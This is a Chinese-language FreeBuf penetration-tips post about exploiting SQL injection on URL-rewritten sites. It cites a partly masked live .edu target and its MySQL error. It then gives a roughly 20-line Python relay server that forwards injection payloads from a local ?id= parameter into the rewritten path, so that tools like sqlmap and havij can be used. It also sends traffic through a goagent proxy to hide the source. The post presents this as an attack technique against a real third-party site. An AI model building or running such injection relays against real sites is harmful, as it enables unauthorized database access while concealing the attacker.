官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序
[渗透技巧]python脚本处理伪静态注入
目前有很多网站做了rewrite,如
/?id=1 /1 /1111.php
大趋势下,攻击的门槛逐渐增高。这样有利有弊,喜欢研究的会深入钻研,另一方面只会用工具不懂原理的则充斥到大小论坛水区。
实战举例:
http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1
这个点存在注入
Error Number: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1dddddd, 1' at line 4
标准的显错注入。
这里测试了几个工具havij
http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1%Inject_Here%(竟然测出来是oracle数据库。。。)
sqlmap
safe3
穿山甲
此上都无法直接注入。
这里借助注入中转实现:
中转工具有一些 win7下会遭遇各种奇葩问题。并linux下不能使用。
用python code了一篇,为什么用python 因为他开发快,不用各种环境。
from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()不到20行代码(并加入了 goagent代理for hidden )。 已经实现了要求。
http://127.0.0.1:8000/?id=1从而达到目的。相比构造自己脚本去执行sql注入语句,要高效的多。
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
相关推荐
请登录/注册后在FreeBuf发布内容哦